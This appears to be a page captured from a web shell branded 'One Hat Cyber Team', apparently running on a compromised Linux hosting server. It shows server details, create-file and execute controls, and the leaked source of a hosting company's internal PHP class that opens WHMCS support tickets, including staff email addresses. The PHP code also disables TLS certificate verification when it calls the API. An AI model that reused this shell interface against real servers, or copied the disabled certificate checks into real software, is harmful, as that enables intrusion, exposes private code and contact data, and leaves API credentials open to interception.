One Hat Cyber Team
Your IP :
216.73.217.131
Server IP :
185.33.55.30
Server :
Linux cl30.webspacecontrol.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.1.34
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
cxs2
/
app
/
libs
/
CXS
/
View File Name :
Ticket.php
<?php /** * Ticket, Open CXS ticket * * @copyright Copyright (c) 2007 DotRoll Kft. (http://www.dotroll.com) * @author Zoltán Istvanovszki <zoltan.istvanovszki@dotroll.com> * @since 2017.06.20. * @package CXS_2.0 */ namespace CXS; class Ticket extends CommonComponent { /** * * @var string WHMCS API EP */ private $url; /** * * @var string WHMCS API user */ private $user; /** * * @var string Hashed WHMCS API password */ private $password; /** * * @var string Ssupend template */ private $suspend = null; /** * * @var string Notice template */ private $notice = null; /** * * @var string Restore template */ private $restore = null; /** * * @var int The department to open the ticket in */ private $deptid; /** * * @var array Subecjts */ private $subject = []; /** * Init Ticket */ public function onConstruct() { $this->url = $this->di->get('config')->whmcs->url; $this->user = $this->di->get('config')->whmcs->user; $this->password = \md5($this->di->get('config')->whmcs->password); $this->deptid = (int) $this->di->get('config')->whmcs->deptid; $this->subject = (array) $this->di->get('config')->subject->toArray(); } /** * Open CXS ticket * * @param string $reason Reason * @param string $hash Username * @param string $LOG CXS result * @param string $until Until */ public function open(string $reason, string $hash, string $LOG, string $until = '') { $this->push("Create $reason ticket to $hash"); $this->log("Create $reason ticket to $hash"); $clientId = $this->getClientId($hash); $additionalEmail = $this->getAdditionalEmail($clientId, $hash); $result = $this->whmcs(['action' => 'GetClientsProducts', 'clientid' => $clientId]); if (!empty($result['products']['product'])) { foreach ($result['products']['product'] as $product) { if ($product['name'] == 'Weboldal karbantartás' && $product['status'] == 'Active') { $additionalEmail[] = 'maintenance@dotroll.com'; } } } $params = [ 'action' => 'OpenTicket', 'deptid' => $this->deptid, 'subject' => $this->subject[$reason] . ': ' . $hash, 'message' => $this->getTicketMessage($reason, $hash, $LOG, $until), 'admin' => true, 'useMarkdown' => true, ]; if (!empty($clientId) && !\in_array('maintenance@dotroll.com', $additionalEmail)) { $params['clientid'] = $clientId; } else { $params['email'] = \array_shift($additionalEmail); $params['name'] = $params['email']; } if (!empty($additionalEmail)) { $params['cc'] = \implode(',', $additionalEmail); } $ticket = $this->whmcs($params); if (!empty($ticket['id'])) { $this->whmcs(['action' => 'UpdateTicket', 'ticketid' => $ticket['id'], 'status' => 'Opened by support']); } $clientId = null; unset($clientId); $additionalEmail = null; unset($additionalEmail); $params = null; unset($params); $ticket = null; unset($ticket); $result = null; unset($result); // Save a messages $messages = new \Messages(); $messages->hash = $hash; $messages->hostname = $this->getHostname(); $messages->reason = $reason; $messages->save(); $messages = null; unset($messages); } /** * Get WHMCS Client ID * * @param string $hash cpanel Username * @return int */ private function getClientId(string $hash): int { $result = $this->whmcs(['action' => 'GetClientsProducts', 'username2' => $hash]); if (!empty($result['products']['product'][0]['clientid'])) { return (int) $result['products']['product'][0]['clientid']; } /* @var $contacts \CXS\Contacts */ $contacts = $this->di->get('contacts'); $owner = $contacts->getOwner($hash); if (!empty($owner)) { $result = $this->whmcs(['action' => 'GetClientsProducts', 'username2' => $owner]); if (!empty($result['products']['product'][0]['clientid'])) { return (int) $result['products']['product'][0]['clientid']; } } return 0; } /** * Get CXS ticket body * * @param string $reason Message reason * @param string $hash cpanel user * @param string $LOG CXS resukt * @param int $until Until * @return string */ private function getTicketMessage(string $reason, string $hash, string $LOG, string $until): string { return \str_replace(['[UNTIL]', '[LOG]', '[SERVER]'], [$until, $LOG, $this->getHostname()], $this->getTicketBody($reason)); } /** * Get additional e-mail address * * @param int $clientId WHMCS Client ID * @param string $hash cPanel user * @return array */ private function getAdditionalEmail(int $clientId, string $hash): array { /* @var $contacts \CXS\Contacts */ $contacts = $this->di->get('contacts'); $recipients = $contacts->get($hash); if (!empty($clientId)) { $client = $this->whmcs(['action' => 'GetClientsDetails', 'clientid' => $clientId]); if (!empty($client['email'])) { $key = \array_search($client['email'], $recipients); if ($key !== false) { unset($recipients[$key]); } } } return $recipients; } /** * Get predefined reply * * @param string $type Ticket type * @return string */ private function getTicketBody(string $type): string { if ($this->$type === null) { $replies = $this->whmcs(['action' => 'GetTicketPredefinedReplies']); if (!empty($replies['predefinedreplies']['predefinedreply'])) { foreach ($replies['predefinedreplies']['predefinedreply'] as $reply) { if ($reply['name'] == "CXS $type") { $this->$type = $reply['reply']; } } } } return $this->$type; } /** * Call WHMCS API EP * * @param array $postfields API params * @return array */ private function whmcs(array $postfields): array { $ch = \curl_init(); \curl_setopt($ch, \CURLOPT_URL, $this->url); \curl_setopt($ch, \CURLOPT_POST, true); \curl_setopt($ch, \CURLOPT_TIMEOUT, 100); \curl_setopt($ch, \CURLOPT_RETURNTRANSFER, 1); \curl_setopt($ch, \CURLOPT_SSL_VERIFYPEER, false); \curl_setopt($ch, \CURLOPT_SSL_VERIFYHOST, false); \curl_setopt($ch, \CURLOPT_POSTFIELDS, \array_merge($postfields, [ 'username' => $this->user, 'password' => $this->password, 'responsetype' => 'json', ])); $data = \json_decode(\curl_exec($ch), true); \curl_close($ch); return $data; } }